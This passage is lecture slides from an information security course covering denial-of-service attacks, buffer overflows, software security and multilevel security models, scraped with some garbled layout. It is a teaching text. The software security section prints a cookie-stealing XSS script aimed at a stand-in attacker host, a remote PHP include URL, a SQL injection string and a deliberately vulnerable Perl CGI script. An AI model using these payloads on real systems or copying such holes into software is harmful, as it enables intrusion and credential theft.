Network and Information Security Course 6

Download as pdf or txt
Download as pdf or txt
You are on page 1of 174

Computer Security: Principles

and Practice

Chapter 7: Denial-of-Service Attacks


EECS710: Information Security
Professor Hossein Saiedian
Fall 2014

1
Denial-of-service
• Denial of service (DoS) an action that prevents or impairs the
authorized use of networks, systems, or applications by
exhausting resources such as central processing units (CPU),
memory, bandwidth, and disk space
• Attacks (overload or invalid request services that consume
significant resources)
– network bandwidth
– system resources
– application resources
• Have been an issue for some time (25% of respondents to an
FBI survey)

2
Classic DoS attacks
• Flooding ping command
– Aim of this attack is to overwhelm the capacity of
the network connection to the target organization
– Traffic can be handled by higher capacity links on
the path, but packets are discarded as capacity
decreases
• Source of the attack is clearly identified unless
a spoofed address is used
• Network performance is noticeably affected

3
Classic DoS attacks

4
Internet Control Message Protocol
(ICMP)
• The Internet Control Message Protocol (ICMP)
is one of the main IP protocols; it is used by
network devices, like routers, to send error
messages indicating (e.g., a requested service
is not available or a host or router could not
be reached)

The host must respond to all echo requests with an


echo reply containing the exact data received in the
request message
5
Source address spoofing
• Use forged source addresses
– Usually via the raw socket interface on operating
systems
– Makes attacking systems harder to identify
• Attacker generates large volumes of packets that
have the target system as the destination address
• Congestion would result in the router connected
to the final, lower capacity link
• Backscatter traffic
– Advertise routes to unused IP addresses to monitor
attack traffic
6
Backscatter traffic
• Security researchers (Honeypot Project)
advertise blocks of unused IP addresses (no
real/legit uses)
• If ICMP/connection request is made, most
likely from attackers
• Monitoring provides valuable info on the type
and scale of attack

7
SYN spoofing
• Common DoS attack
• Attacks the ability of a server to respond to
future connection requests by overflowing the
tables used to manage them
• Thus legitimate users are denied access to the
server
• Hence an attack on system resources,
specifically the network handling code in the
operating system
8
TCP connection handshake

syn/ack pkts
y= server seq#
x= client seq#

9
SYN spoofing attack

assumption: most connections succeed and thus table cleared


quickly
10
SYN spoofing attack: attacker’s source
• Attacker often uses either
– random source addresses (addresses that may not
exist)
– or that of an overloaded server (that may not send a
RST)
– to block return of (most) reset packets
• Has much lower traffic volume
– attacker can be on a much lower capacity link
• Objective: uses addresses that will not respond to
the SYN-ACK with a RST
11
Types of flooding attacks
• Classified based on network protocol used
• Objective: to overload the network capacity on some
link to a server
• Virtually any type of network packet can be used
• ICMP Flood
– Uses ICMP packets, eg ping (echo) request
– Typically allowed through, some required
• UDP Flood
– Alternative uses UDP packets to random ports (even if no
service is available, attacker achieves its goal)
• TCP SYN Flood (SYN spoof vs SYN flood)
– Sends TCP SYN (connection request) packets
– But for volume attack
12
UDP packet
• User Datagram Protocol (UDP)
is a component of the IP suite
and allows computer
applications to send messages
• A UDP can be directed at
practically any service (port); if
service is unavailable, the
packet is discarded but the
attacker objective is achieved

13
Distributed DoS attacks
• Have limited volume if single source used
• Multiple systems allow much higher traffic
volumes to form a distributed DoS (DDoS)
attack
• Often compromised PC’s/workstations
– Zombies with backdoor programs installed
– Forming a botnet
• Example: Tribe Flood Network (TFN), TFN2K
– did ICMP, SYN, UDPF and ICMP floods
14
DDoS control hierarchy
Attacker sends one command to the handler zombies;
the handler forwards to other handlers, agents

15
Application-based bandwidth attacks
• Force the victim system to execute resource-
consuming operations (e.g., searches, complex
DB queries)
• VoIP Session Initiation Protocol (SIP) flood
(see Figure 7.5): attacker sends many INVITE
requests; major burden on the proxies
– server resources depleted while handling requests
– bandwidth capacity is consumed

16
SIP invite
scenario
• Standard protocol
for VoIP telephony
• Text-based protocol
with a syntax similar
to that of HTTP
• Two types of SIP
messages: requests
and responses

17
HTTP-based attacks
• Attempts to monopolize by sending HTTP requests that
never complete
• Eventually consumes Web server’s connection capacity
• Utilizes legitimate HTTP traffic
• Spidering: Bots starting from a given HTTP link and
following all links on the provided Web site in a recursive
way
• Existing intrusion detection and prevention solutions that
rely on signatures to detect attacks will generally not
recognize Slowloris

18
Reflection attacks
• Attacker sends packets to a known service on the
intermediary with a spoofed source address of the
actual target system
• When intermediary responds, the response is sent to
the target
• “Reflects” the attack off the intermediary (reflector)
• Goal is to generate enough volumes of packets to flood
the link to the target system without alerting the
intermediary
• The basic defense against these attacks is blocking
spoofed-source packets
19
Reflection attacks

20
Reflection attacks
• Further variation creates a self-contained loop
between intermediary and target (attacker spoofs
using port 7 requiring echoes)
• Fairly easy to filter and block

21
DNS reflection attacks

22
DNS amplification attacks
• Use packets directed at a legitimate DNS server
as the intermediary system
• Attacker creates a series of DNS requests
containing the spoofed source address of the
target system
• Exploit DNS behavior to convert a small request
to a much larger response (amplification)
• Target is flooded with responses
• Basic defense against this attack is to prevent the
use of spoofed source addresses
23
Amplification attacks

Can take advantage of broadcast address of some network

24
Four lines of defense against DDoS
attacks
• Attack prevention and preemption (before
attack)
• Attack detection and filtering (during the
attack)
• Attack source traceback and identification
(uring and after the attack)
• Attack reaction (after the attack)

25
DoS attack prevention
• Block spoofed source addresses
– On routers as close to source as possible
• Filters may be used to ensure path back to the claimed source
address is the one being used by the current packet
– Filters must be applied to traffic before it leaves the ISP’s network or
at the point of entry to their network
• Use modified TCP connection handling code
– Cryptographically encode critical information in a cookie that is sent as
the server’s initial sequence number
– Legitimate client responds with an ACK packet containing the
incremented sequence number cookie
– Drop an entry for an incomplete connection from the TCP connections
table when it overflows

26
Attack prevention
• Rate controls in upstream distribution nets
– On specific packets types e.g. some ICMP, some
UDP, TCP/SYN
– Impose limits
• Use modified TCP connection handling
– Server sends SYN cookies when table full
(reconstruct table data from the cookie from legit
clients)
– Sr selective or random drop when table full

27
Attack prevention
• Block IP directed broadcasts
• Block suspicious services and combinations
• Manage application attacks with a form of
graphical puzzle (captcha) to distinguish
legitimate human requests
• Use mirrored and replicated servers when
high-performance and reliability is required

28
Responding to attacks
• Good incidence response plan
– Details on how to contact technical personal for
ISP
– Needed to impose traffic filtering upstream
– Details of how to respond to the attack
• Implement anti-spoofing, directed broadcast,
and rate limiting filters
• Ideally have network monitors and IDS to
detect and notify abnormal traffic patterns

29
Responding to attacks
• Identify type of attack
– Capture and analyze packets
– Design filters to block attack traffic upstream
– Or identify and correct system/application bug
• Have ISP trace packet flow back to source
– May be difficult and time consuming
– Necessary if planning legal action
• Implement contingency plan
– Switch to alternate backup servers
– Commission new servers at a new site with new
addresses
• Update incident response plan

30
Summary
• Introduced denial of service (DoS) attacks
• Classic flooding and SYN spoofing attacks
• ICMP, UDP, TCP SYN floods
• Distributed denial of service (DDoS) attacks
• Reflection and amplification attacks
• Defenses against DoS attacks
• Responding to DoS attacks

31
Computer Security: Principles
and Practice

Chapter 8: Buffer Overflow


EECS710: Information Security
Professor Hossein Saiedian
Fall 2014
Buffer Overflow: A Well-Known
Problem
• A very common attack mechanism
– from 1988 Morris Worm to Code Red, Slammer,
Sasser and many others
• Prevention techniques known
• Still of major concern due to
– legacy of widely deployed buggy
– continued careless programming techniques
Buffer Overflow Basics
• Caused by programming error
• Allows more data to be stored than capacity
available in a fixed sized buffer
– buffer can be on stack, heap, global data
• Overwriting adjacent memory locations
– corruption of program data
– unexpected transfer of control
– memory access violation
– execution of code chosen by attacker
Buffer int main( int argc, char * argv[]) {
int valid = FALSE;
char str1[8];

Overflow char str2[8];

next_tag(str1);

Example gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", st r1, str2, valid);
}

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Buffer Memory Before After Contains

Overflow
Address gets(str2) gets(str2) Value of

. . . . . . . . . . . .

Example bffffbf4 34fcffbf


4 . . .
34fcffbf
3 . . .
argv

bffffbf0 01000000 01000000 argc


. . . . . . . .
bffffbec c6bd0340 c6bd0340 return
. . . @ . . . @ addr
bffffbe8 08fcffbf 08fcffbf old base
. . . . . . . . ptr
bffffbe4 00000000 01000000 valid
. . . . . . . .
bffffbe0 80640140 00640140
. d . @ . d . @
bffffbdc 54001540 4e505554 str1[4-7]
T . . @ N P U T
bffffbd8 53544152 42414449 str1[0-3]
S T A R B A D I
bffffbd4 00850408 4e505554 str2[4-7]
. . . . N P U T
bffffbd0 30561540 42414449 str2[0-3]
0 V . @ B A D I

. . . . . . . . . . . .
Another illustration
Buffer Overflow Attacks
• To exploit a buffer overflow an attacker
– must identify a buffer overflow vulnerability in
some program
• inspection, tracing execution, fuzzing tools
– understand how buffer is stored in memory and
determine potential for corruption
A Little Programming Language History
• At machine level all data an array of bytes
– interpretation depends on instructions used
• Modern high-level languages have a strong notion of type and
valid operations
– not vulnerable to buffer overflows
– does incur overhead, some limits on use
• C and related languages have high-level control structures,
but allow direct access to memory
– hence are vulnerable to buffer overflow
– have a large legacy of widely used, unsafe, and hence vulnerable code
Function Calls and Stack
Frames

Stack frame:

Calling function: needs a data


structure to store the “return”
address and parameters to be
passed

Called function: needs a place


to store its local variables
somewhere different for every call
Stack Buffer Overflow
• Occurs when buffer is located on stack
– used by Morris Worm
– “Smashing the Stack” paper popularized it
• Have local variables below saved frame
pointer and return address
– hence overflow of a local buffer can potentially
overwrite these key control items
• Attacker overwrites return address with
address of desired code
– program, system library or loaded in buffer
Programs and Processes
Another Stack Overflow
void getinp(char *inp, int siz)
{
puts("Input value: ");
fgets(inp, siz, stdin);
printf("buffer3 getinp read %s\n", inp);
}
void display(char *v al)
{
char tmp[16];
sprintf(tmp, "read val: %s\n", val);
puts(tmp);
}
Safe input function; output
int main(int argc, char *argv[]) may still overwrite part of the
{
char buf[16]; stack frame (sprintf creates
getinp(buf, sizeof(buf));
display(buf); formatted value for a var)
printf("buffer3 done\n");
}
Another Stack Overflow
$ cc -o buffer3 buffer3.c
$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE Safe input function; output
read val: SAFE
buffer3 done may still overwrite part of the
stack frame
$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXX

buffer3 done
Segmentation fault (core dumped)
Common Unsafe C Functions
Unix Shellcode
• In Windows terms: command.exe
Unix Shellcode
Shellcode
• code supplied by attacker
– often saved in buffer being overflowed
– traditionally transferred control to a shell
• machine code
– specific to processor and operating system
– traditionally needed good assembly language skills
to create
– more recently have automated sites/tools
Buffer Overflow Defenses
• Buffer overflows are widely exploited
• Large amount of vulnerable code in use
– despite cause and countermeasures known
• Two broad defense approaches
– compile-time - harden new programs
– run-time - handle attacks on existing programs
Compile-Time Defenses:
Programming Language
• Use a modern high-level languages with
strong typing
– not vulnerable to buffer overflow
– compiler enforces range checks and permissible
operations on variables
• Do have cost in resource use
• And restrictions on access to hardware
– so still need some code in C like languages
Compile-Time Defenses:
Safe Coding Techniques
• If using potentially unsafe languages eg C
• Programmer must explicitly write safe code
– by design with new code
– extensive after code review of existing code, (e.g.,
OpenBSD)
• Buffer overflow safety a subset of general safe
coding techniques
• Allow for graceful failure (know how things may go wrong)
– check for sufficient space in any buffer
Compile-Time Defenses:
Language Extension, Safe Libraries
• Proposals for safety extensions (library
replacements) to C
– performance penalties
– must compile programs with special compiler
• Several safer standard library variants
– new functions, e.g. strlcpy()
– safer re-implementation of standard functions as a
dynamic library, e.g. Libsafe
Compile-Time Defenses:
Stack Protection
• Stackgaurd: add function entry and exit code to check stack
for signs of corruption
– Use random canary
– e.g. Stackguard, Win/GS, GCC
– check for overwrite between local variables and saved frame pointer
and return address
– abort program if change found
– issues: recompilation, debugger support
• Or save/check safe copy of return address (in a safe, non-
corruptible memory area), e.g. Stackshield, RAD
Run-Time Defenses:
Non Executable Address Space
• Many BO attacks copy machine code into buffer and xfer ctrl
to it
• Use virtual memory support to make some regions of memory
non-executable (to avoid exec of attacker’s code)
– e.g. stack, heap, global data
– need h/w support in MMU
– long existed on SPARC/Solaris systems
– recent on x86 Linux/Unix/Windows systems
• Issues: support for executable stack code
Run-Time Defenses:
Address Space Randomization
• Manipulate location of key data structures
– stack, heap, global data: change address by 1 MB
– using random shift for each process
– have large address range on modern systems
means wasting some has negligible impact
• Randomize location of heap buffers and
location of standard library functions
Run-Time Defenses:
Guard Pages
• Place guard pages between critical regions of
memory (or between stack frames)
– flagged in MMU (mem mgmt unit) as illegal
addresses
– any access aborts process
• Can even place between stack frames and
heap buffers
– at execution time and space cost
Other Overflow Attacks
• have a range of other attack variants
– stack overflow variants
– heap overflow
– global data overflow
– format string overflow
– integer overflow
• more likely to be discovered in future
• some cannot be prevented except by coding
to prevent originally
Summary
• Introduced basic buffer overflow attacks
• Stack buffer overflow details
• Shellcode
• Defenses
– compile-time, run-time
• Other related forms of attack (not covered)
– replacement stack frame, return to system call,
heap overflow, global data overflow
Computer Security: Principles
and Practice

Chapter 9: Software Security


EECS710: Information Security
Professor Hossein Saiedian
Fall 2014
Software Security
• Many vulnerabilities result from poor
programming practises
– cf. Open Web Application Security Top Ten include
5 software related flaws, e.g., unvalidated input,
buffer overflow, injection flaws
• Often from insufficient checking/validation of
program input
• Awareness of issues is critical

1
Software Quality vs Security
• Software reliability
– accidental failure of program
– from theoretically random unanticipated input
– improve using structured design and testing
– not how many bugs, but how often triggered
• Software security is related
– but attacker chooses input distribution,
specifically targeting buggy code to exploit
– triggered by often very unlikely inputs
– which common tests don’t identify
2
Defensive Programming
• A form of defensive design to ensure
continued function of software despite
unforeseen usage
• Requires attention to all aspects of program
execution, environment, data processed
• Also called secure programming
• Assume nothing, check all potential errors
• Must validate all assumptions
• “Murphy’s Laws” effect 3
Abstract Program Model

Programmers are “constructive”

4
Security by Design
• Security and reliability common design goals
in most engineering disciplines
– society not tolerant of bridge/plane etc failures
• Software development not as mature
– much higher failure levels tolerated
• Despite having a number of software
development and quality standards
– main focus is general development lifecycle
– increasingly identify security as a key goal
5
Handling Program Input
• Incorrect handling a very common failing
• Input is any source of data from outside
– data read from keyboard, file, network
– also execution environment, config data
• Must identify all data sources
• And explicitly validate assumptions on size
and type of values before use

6
Input Size & Buffer Overflow
• Often have assumptions about buffer size
– eg. that user input is only a line of text
– size buffer accordingly (512 B) but fail to verify size
– resulting in buffer overflow
– Testing may not identify vulnerability since focus
on “normal, expected” inputs
• Safe coding treats all input as dangerous
– hence must process so as to protect program

7
Interpretation of Input
• Program input may be binary or text
– binary interpretation depends on encoding and is
usually application specific
– text encoded in a character set e.g. ASCII
– internationalization has increased variety; also
need to validate interpretation before use
• e.g. filename, URL, email address, identifier
• Failure to validate may result in an exploitable
vulnerability
8
Injection Attacks
• Flaws relating to invalid input handling which
then influences program execution
– often when passed as a parameter to a helper
program or other utility or subsystem
– input data (deliberately) influence the flow of exec
• Most often occurs in scripting languages
– encourage reuse of other programs/modules
– often seen in web CGI scripts

9
Unsafe Perl Script
1 #!/usr/bin/perl
2 # finger.cgi - finger CGI script using Perl5 CGI module
3
4 use CGI;
5 use CGI::Carp qw(fatalsToBrowser);
6 $q = new CGI; # create query object
7
8 # display HTML header
9 print $q->header,
10 $q->start_html('Finger User'),
11 $q->h1('Finger User');
12 print "<pre>";
13
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 print `/usr/bin/finger -sh $user`;
17
18 # display HTML footer
19 print "</pre>";
20 print $q->end_html;

10
Safer Script
• The above is an example of command injection
• Counter attack by validating input
– compare to pattern that rejects invalid input
– see example additions to script:
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 die "The specified user contains illegal characters!"
17 unless ($user =~ /^\w+$/);
18 print `/usr/bin/finger -sh $user`;

11
SQL Injection
• Another widely exploited injection attack
• When input used in SQL query to database
– similar to command injection
– SQL meta-characters are the concern
– must check and validate input for these
$name = $_REQUEST['name'];
Bob’ drop table customers==
$query = “SELECT * FROM suppliers WHERE name = '" . $name . "';"
$result = mysql_query($query);

$name = $_REQUEST['name'];
$query = “SELECT * FROM suppliers WHERE name = '" .
mysql_real_escape_string($name) . "';"
$result = mysql_query($query);

12
Code Injection
• Further variant
• Input includes code that is then executed
– see PHP remote code injection vulnerability
• variable + global field variables + remote include
– this type of attack is widely exploited
<?php
include $pat h . 'functions.ph p';
include $pat h . 'data/prefs.php';

GET /calenda r/e mbe d/d ay. php ?path=http:/ /ha cke r.w eb. site /ha ck. txt ?&c md=ls

13
Cross Site Scripting Attacks
• Attacks where input from one user is later
output to another user
• XSS commonly seen in scripted web apps
– with script code included in output to browser
– any supported script, e.g. Javascript, ActiveX
– assumed to come from application on site
• XSS reflection
– malicious code supplied to site
– subsequently displayed to other users
14
XSS Attacks

http://msdn.microsoft.com/en-us/library/aa973813.aspx

15
An XSS Example
• Guestbooks, wikis, blogs etc
• Where comment includes script code
– e.g. to collect cookie details of viewing users
• Need to validate data supplied
– including handling various possible encodings
• Attacks both input and output handling
Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script>

16
Validating Input Syntax
• To ensure input data meets assumptions
– e.g. is printable, HTML, email, userid etc
• Compare to what is known acceptable
• not to known dangerous
– as can miss new problems, bypass methods
• Commonly use regular expressions
– pattern of characters describe allowable input
– details vary between languages
• Bad input either rejected or altered
17
Validating Numeric Input
• May have data representing numeric values
• Internally stored in fixed sized value
– e.g. 8, 16, 32, 64-bit integers or 32, 64, 96 float
– signed or unsigned
• Must correctly interpret text form and then
process consistently
– have issues comparing signed to unsigned
– e.g. large positive unsigned is negative signed
– could be used to thwart buffer overflow check
19
Input Fuzzing
• Powerful testing method using a large range
of randomly generated inputs
– to test whether program/function correctly
handles abnormal inputs
– simple, free of assumptions, cheap
– assists with reliability as well as security
• Can also use templates to generate classes of
known problem inputs
– could then miss bugs, so use random as well
20
Writing Safe Program Code
• Next concern is processing of data by some
algorithm to solve required problem
• Compiled to machine code or interpreted
– have execution of machine instructions
– manipulate data in memory and registers
• Security issues:
– correct algorithm implementation
– correct machine instructions for algorithm
– valid manipulation of data
21
Correct Algorithm Implementation
• Sssue of good program development to
correctly handle all problem variants
– c.f. Netscape random number bug
– supposed to be unpredictable, but wasn’t
• When debug/test code left in production
– used to access data or bypass checks
– c.f. Morris Worm exploit of sendmail
• Hence care needed in design/implement
22
Correct Machine Language
• Ensure machine instructions correctly
implement high-level language code
– often ignored by programmers
– assume compiler/interpreter is correct
– c.f. Ken Thompson’s paper
• Requires comparing machine code with
original source
– slow and difficult
– is required for higher Common Criteria EAL’s
23
Correct Data Interpretation
• Data stored as bits/bytes in computer
– grouped as words, longwords etc
– interpretation depends on machine instruction
• Languages provide different capabilities for
restricting/validating data use
– strongly typed languages more limited, safer
– others more liberal, flexible, less safe e.g. C
• Strongly typed languages are safer
24
Correct Use of Memory
• Issue of dynamic memory allocation
– used to manipulate unknown amounts of data
– allocated when needed, released when done
• Memory leak occurs if incorrectly released
• Many older languages have no explicit support
for dynamic memory allocation
– rather use standard library functions
– programmer ensures correct allocation/release
• Modern languages handle automatically 25
Race Conditions in
Shared Memory
• When multiple threads/processes access
shared data / memory
• Unless access synchronized can get corruption
or loss of changes due to overlapping accesses
• So use suitable synchronization primitives
– correct choice & sequence may not be obvious
• Have issue of access deadlock

26
Interacting with O/S
• Programs execute on systems under O/S
– mediates and shares access to resources
– constructs execution environment
– with environment variables and arguments
• Systems have multiple users
– with access permissions on resources / data
• Programs may access shared resources
– e.g. files

27
Environment Variables
• Set of string values inherited from parent
– can affect process behavior
– e.g. PATH, IFS, LD_LIBRARY_PATH
• Process can alter for its children
• Another source of untrusted program input
• Attackers use to try to escalate privileges
• Privileged shell scripts targeted
– very difficult to write safely and correctly
28
Vulnerable Compiled Programs
• If invoke other programs can be vulnerable to
PATH variable manipulation
– must reset to “safe” values
• If dynamically linked may be vulnerable to
manipulation of LD_LIBRARY_PATH
– used to locate suitable dynamic library
– must either statically link privileged programs
– or prevent use of this variable

30
Use of Least Privilege
• Exploit of flaws may give attacker greater
privileges - privilege escalation
• Hence run programs with least privilege
needed to complete their function
– determine suitable user and group to use
– whether grant extra user or group privileges
• latter preferred and safer, may not be sufficient
– ensure can only modify files/dirs needed
• otherwise compromise results in greater damage
• recheck these when moved or upgraded 31
Secure File Shredder
patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]
open file for writing
for each pattern
seek to start of file
overwrite file contents with pattern
close file
remove file

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]


open file for update
for each pattern
seek to start of file
overwrite file contents with pattern
flush application write buffers
sync file system write buffers with device
close file
remove file

34
Race Conditions
• Programs may access shared resources
– e.g. mailbox file, CGI data file
• Need suitable synchronization mechanisms
– e.g. lock on shared file
• Alternatives
– lockfile - create/check, advisory, atomic
– advisory file lock - e.g. flock
– mandatory file lock - e.g. fcntl, need release
• later mechanisms vary between O/S
• have subtle complexities in use
35
Safe Temporary Files
• Many programs use temporary files
• Often in common, shared system area
• Must be unique, not accessed by others
• Commonly create name using process ID
– unique, but predictable
– attacker might guess and attempt to create own
between program checking and creating
• Secure temp files need random names
– some older functions unsafe
– must need correct permissions on file/dir
36
Summary
• Discussed software security issues
• Handling program input safely
– size, interpretation, injection, XSS, fuzzing
• Writing safe program code
– algorithm, machine language, data, memory
• Interacting with O/S and other programs
– ENV, least privilege, syscalls / std libs, file lock,
temp files, other programs
• Handling program output
39
Computer Security: Principles
and Practice

Chapter 10: Trusted Computing and Multilevel


Security

EECS710: Information Security


Professor Hossein Saiedian
Fall 2014
Computer Security Models
• Two fundamental computer security facts
– All complex software systems have eventually
revealed flaws or bugs that need to be fixed
– It is extraordinarily difficult to build computer
hardware/software not vulnerable to security
attacks

1
Confidentiality Policy
• Goal: prevent the unauthorized disclosure of
information
– Deals with information flow
– Integrity incidental
• Multi-level security models are best-known
examples
– Bell-LaPadula Model basis for many, or most, of
these

2
Formal Security Models
• Problems involved both design and
implementa@on led to development of formal
security models
– IniCally funded by US Department of Defense
– Bell-LaPadula (BLP) model very influenCal

3
Bell-LaPadula (BLP) Model
• Security levels arranged in linear ordering
– Top Secret: highest
– Secret
– Confidential
– Unclassified: lowest
• Levels consist of security clearance L(s)
• Objects have security classification L(o)

4
Bell-LaPadula (BLP) Model
• Developed in 1970s
• Formal model for access control
• Subjects and objects are assigned a security class
• Form a hierarchy and are referred to as security levels
• A subject has a security clearance
• An object has a security classification
• Security classes control the manner by which a subject may
access an object

5
A BLP Example
Security level Subject Object
Top Secret Tamara Personnel Files
Secret Samuel E-Mail Files
Confidential Claire Activity Logs
Unclassified James Telephone Lists
• Tamara can read all files
• Claire cannot read Personnel or E-Mail Files
• James can only read Telephone Lists

Slide #5-6
Access Privileges

7
Multilevel Security

• Multiple levels of security and data


• Subject at a high level may not convey info to a
subject at a non-comparable level:
– No read up (ss-property): a subj can only read an
obj of less or equal sec level
– No write down (*-property): a subj can only write
into an obj of greater or equal sec level

8
BLP Formal Description
• Based on current state of system (b, M, f, H):
– Current access set b (subj, objs, access-mode); it is
the current access (not permanent)
– Access matrix M (same as before)
– Level function f: assigns sec level to each subj and
obj; a subject may operate at that or lower level
– Hierarchy H: a directed tree whose nodes are objs:
• Sec level of an obj must dominate (must be greater
than) its parents

9
BLP Properties
• Three BLP properties: (c = current)
1. ss-property: (Si, Oj, read) has fc(Si) ≥ fo(Oj)
2. *-property: (Si, Oj, append) has fc(Si) ≤ fo(Oj) and
(Si, Oj, write) has fc(Si) = fo(Oj)
3. ds-property: (Si, Oj, Ax) implies Ax Î M[Si,Oj]
• BLP give formal theorems
– Theoretically possible to prove system is secure

10
BLP Operations
1. get access: add (subj, obj, access-mode) to b
– used by a subj to initiate an access to an object
2. release access: remove (subj, obj, access-mode)
3. change object level
4. change current level
5. give access permission: Add an access mode to M
– used by a subj to grant access to on an obj
6. rescind access permission: reverse of 5
7. create an object
8. delete a group of objects

11
BLP Example
• A role-based access control system
• Two users: Carla (student) and Dirk (teacher)
– Carla (Class: s)
– Dirk (Class: T); can also login as a students thus
(Class: s)
• A student role has a lower security clearance
• A teacher role has a higher security clearance

12
BLP Example
Dirk creates f1; Carla creates f2
Carla can read/write to f2
Carla can’t read f1
Dirk can read/write f1
Dirk can read f2 (if perm)
Dirk can read/write f2 only as a stu

Dirk reads f2; want create f3 (comments)


Dirk signs in as a stu (so Carla can read)
As a teacher, Dirk cannot create a
file at stu classification

13
BLP Example
cont.
Dirk as a teacher creates exam (f4)
Must log in as a teacher to read
template

Dirk wants to give Carla access to read f4


Dirk can’t do that; an admin must do
An admin downgrades f4 class to c1-s

14
BLP Example
cont.
Carla writes answers to f5 (at c1-t level)
-- An example of write up
Dirk can read f5

15
MULTICS Example

16
BLP Categories
• Expand the model to add categories to each
security classification
• Objects placed in multiple categories
• Based on “need to know” principle
• Example categories: NUC, EUR, US
– One can have access to any of these: none, {NUC},
{EUR}, {US}, {NUC, EUR}, … {NUC, EUR, US}
– Categories form a lattice under the “subset of”
operation

17
The Lattice Hierarchy

Slide #5-18
BLP Dominate (dom) Relationship

• Captures the combination of security


classification and category set
• (A, C) dom (A¢, C¢ ) iff A¢ ≤ A and C¢ Í C
• Examples
– (Top Secret, {NUC, ASI}) dom (Secret, {NUC})
– (Secret, {NUC, EUR}) dom (Confidential,{NUC,
EUR})
– (Top Secret, {NUC}) ¬dom (Confidential, {EUR})

Slide #5-19
An Example of dom Relationship
• George is cleared into security level (S, {NUC,
EUR})
• DocA is classified as (C, {NUC})
• DocB is classified as (S, {EUR, US})
• DocC is classified as (S, {EUR})
• George dom DocA
• George ¬dom DocB
• George dom DocC

Slide #5-20
Reading Information - New
• Information flows up, not down
– “Reads up” disallowed, “reads down” allowed
• Simple Security Condition
– Subject s can read object o iff L(s) dom L(o) and s
has permission to read o
• Note: combines mandatory control (relationship of
security levels) and discretionary control (the required
permission)
– Sometimes called “no reads up” rule

Slide #5-21
Writing Information - New
• Information flows up, not down
– “Writes up” allowed, “writes down” disallowed
• *-Property (Step 2)
– Subject s can write object o iff L(o) dom L(s) and s
has permission to write o
• Note: combines mandatory control (relationship of
security levels) and discretionary control (the required
permission)
– Sometimes called “no writes down” rule

Slide #5-22
Biba Integrity Model
• Various models dealing with integrity
• Strict integrity policy:
– Simple integrity: modify only if I(S) ≥ I(O)
– Integrity confinement: read only if I(S) ≤ I(O)
– Invocation property: invoke/comm only if I(S1)
≥ I(S2)

23
Biba Integrity Model
• Simple integrity: modify only if I(S) ≥ I(O)
• Integrity confinement: read only if I(S) ≤ I(O)
• Invocation property: invoke/comm only if
I(S1) ≥ I(S2)

24
Clark-Wilson Integrity Model
• Two concepts
– Well-formed transactions: a user can manipulate data in
constrained ways
– Separation of duty: one can create a transaction but not
execute it
• CDI: constrained data items (loan app; checks)
• UDI: unconstrained items
• IVPs: procedures that assure all CDIs conform to
integrity/consistency rules
• TPs: transactions that change CDIs
• Very practical; used in commercial world

25
Certified and Enforcement Rules
• C1: IVPs must ensure that all CDIs are in valid
states
• C2: All TPs must be certified (must take a CDI
from a valid state to a valid final state)
– (Tpi, CDIa, CDIb, CDIc, …)
• E1: The system must maintain a list of
relations specified in C2
• E2: The system must maintain a list of (User,
Tpi, (CDIa, CDIb, …))
26
Certified and Enforcement Rules
• C3: The list of relations in E2 must be certified
to meet separation of duties
• E3 The system must authenticate each user
when executing a TP
• C4: All TPs must be certified
• C5: Any TP that takes UDI as in input value
must be certified to perform valid transaction
• E4: Only the agent permitted to certify entitles
is allowed to do so
27
Clark-Wilson Integrity Model
Certification (C) and
Enforcement (E) rules

28
The Chinese Wall Model
• Hybrid model: addresses integrity and confidentiality
• Addresses conflict of interest (CI or CoI)
• Model elements
– subjects: active entities interested in accessing protected
objects
– information
• objects: individual data items, each about a corp
• datasets (DS): all objects concerning one corp
• CI class: datasets whose corp are in competition (conflict of
interest or CI)
– access rules: rules for reading/writing data

29
The Chinese Wall Model
• Not a true multilevel secure model
– the history of a subject’s access determines access
control
• Subjects are only allowed access to info that is
not held to conflict with any other info they
already possess
• Once a subject accesses info from one
dataset, a wall is set up to protect info in
other datasets in the same CI

30
Simple sec rule (read): S can

Chinese Wall Model


read O if O is in the same DS as
an object already accessed by S
OR O belongs to a CoI from which
S has not yet accessed any info

*-property (write): S can write


O only if S can read O and all objects
that S can read are in the same DS
as O.

Question: what can John or


Jane write to?

31
CW-*-Property
s can write to o iff both of the following hold:
1. The CW-simple condition permits s to read o
2. For all unsanitized objects o¢, if s can read o¢,
then CD (o¢) = CD (o)
– All s can read are either within the same CD, or sanitized
Alice Bob Neither Alice nor bob can write

Bank
Gasoline

Citibank Bank of Bank of Shell Mobil Sunoco Texaco


America the West

32
How Does Information Flow?
• With the two conditions (CW simple security
condition and CW *-property) in place, how can
information flow around the system?
• Main Results
– In each COI class (e.g. Bank), a subject can only read
objects in a single CD (e.g. Citibank)
– At least n subjects are required to access all objects
in a COI class with totally n CDs

33
How Does Information Flow? (Cont’d)
• Information flows from o to o’ if s reads o and writes o’
• information in an unsanitized object can only flow inside that
CD; information in sanitized objects can flow freely

Citibank Bank of Bank of Shell Mobil Sunoco Texaco


America the West

o3 sanitized
o1 o2 o3
o1 o2 o3 unsanitized

34
Compare CW to Bell-LaPadula
• CW is based on access history, BLP is history-
less
• BLP can capture CW state at any time, but
cannot track changes over time
– BLP security levels would need to be updated each
time an access is allowed

35
Trusted Systems
• Trusted system: A system believed to enforce a given set of
attributes to a stated degree of assurance
• Trustworthiness: Assurance that a system deserves to be
trusted, such that the trust can be guaranteed in some
convincing way, such as through formal analysis or code
review
• Trusted computer system: A system that employs sufficient
hardware and software assurance measures to allow its use
for simultaneous processing of a range of sensitive or
classified information

36
Reference Monitors
(Trusted Systems)

Properties of the RM:

Complete mediation: security


